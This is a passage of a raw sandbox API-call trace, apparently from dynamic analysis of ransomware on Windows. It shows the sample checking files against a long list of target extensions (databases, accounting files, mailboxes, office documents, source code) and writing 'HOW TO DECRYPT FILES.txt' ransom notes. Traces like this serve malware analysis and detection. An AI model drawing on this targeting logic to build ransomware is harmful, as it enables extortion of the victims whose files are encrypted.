PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0111.270] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d219f10, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d219f10, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d219f10, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.270] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.270] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375acad0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x375acad0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x375acad0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="dbe51d156773fefd09c7a52feeb8ff79", cAlternateFileName="DBE51D~1")) returned 1 [0111.270] lstrcmpA (lpString1=".", lpString2="dbe51d156773fefd09c7a52feeb8ff79") returned -1 [0111.270] lstrcmpA (lpString1="..", lpString2="dbe51d156773fefd09c7a52feeb8ff79") returned -1 [0111.270] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.270] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="dbe51d156773fefd09c7a52feeb8ff79" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79" [0111.270] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375acad0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x375acad0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x375acad0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.270] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375acad0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x375acad0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x375acad0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.271] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.271] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37586970, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37586970, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37586970, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x4aa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.271] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.271] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll") returned -1 [0111.271] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll") returned -1 [0111.271] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll") returned -1 [0111.271] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\*.*") returned="*.*" [0111.271] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\" [0111.271] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\") returned="" [0111.271] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\HOW TO DECRYPT FILES.txt" [0111.271] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\dbe51d156773fefd09c7a52feeb8ff79\\how to decrypt files.txt")) returned 0xffffffff [0111.271] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\dbe51d156773fefd09c7a52feeb8ff79\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.287] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.289] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.289] CloseHandle (hObject=0x90) returned 1 [0111.289] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll" [0111.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0111.289] lstrlenA (lpString="*.ems") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0111.290] lstrlenA (lpString="*.db") returned 4 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.290] lstrlenA (lpString="*.dbf") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0111.290] lstrlenA (lpString="*.myox") returned 6 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0111.290] lstrlenA (lpString="*.myo") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.290] lstrlenA (lpString="*.qbw") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.290] lstrlenA (lpString="*.qbb") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.290] lstrlenA (lpString="*.qbm") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.290] lstrlenA (lpString="*.qbo") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.290] lstrlenA (lpString="*.qbx") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0111.290] lstrlenA (lpString="*.qba") returned 5 [0111.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0111.291] lstrlenA (lpString="*.qby") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.291] lstrlenA (lpString="*.qbj") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.291] lstrlenA (lpString="*.ofx") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0111.291] lstrlenA (lpString="*.qif") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0111.291] lstrlenA (lpString="*.mye") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.291] lstrlenA (lpString="*.mbox") returned 6 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0111.291] lstrlenA (lpString="*.eml") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0111.291] lstrlenA (lpString="*.pst") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0111.291] lstrlenA (lpString="*.ost") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0111.291] lstrlenA (lpString="*.idx") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.291] lstrlenA (lpString="*.dbx") returned 5 [0111.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0111.291] lstrlenA (lpString="*.sql") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.292] lstrlenA (lpString="*.mdb") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.292] lstrlenA (lpString="*.fdb") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0111.292] lstrlenA (lpString="*.wab") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0111.292] lstrlenA (lpString="*.dat") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0111.292] lstrlenA (lpString="*.txt") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.292] lstrlenA (lpString="*.jpeg") returned 6 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.292] lstrlenA (lpString="*.jpg") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0111.292] lstrlenA (lpString="*.png") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0111.292] lstrlenA (lpString="*.php") returned 5 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0111.292] lstrlenA (lpString="*.cs") returned 4 [0111.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.293] lstrlenA (lpString="*.cpp") returned 5 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0111.293] lstrlenA (lpString="*.rar") returned 5 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0111.293] lstrlenA (lpString="*.zip") returned 5 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0111.293] lstrlenA (lpString="*.html") returned 6 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0111.293] lstrlenA (lpString="*.htm") returned 5 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.293] lstrlenA (lpString="*.xlsx") returned 6 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0111.293] lstrlenA (lpString="*.xls") returned 5 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.293] lstrlenA (lpString="*.mp4") returned 5 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.293] lstrlenA (lpString="*.ppt") returned 5 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.293] lstrlenA (lpString="*.pptx") returned 6 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0111.293] lstrlenA (lpString="*.doc") returned 5 [0111.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0111.294] lstrlenA (lpString="*.dot") returned 5 [0111.294] PathMatchSpecA 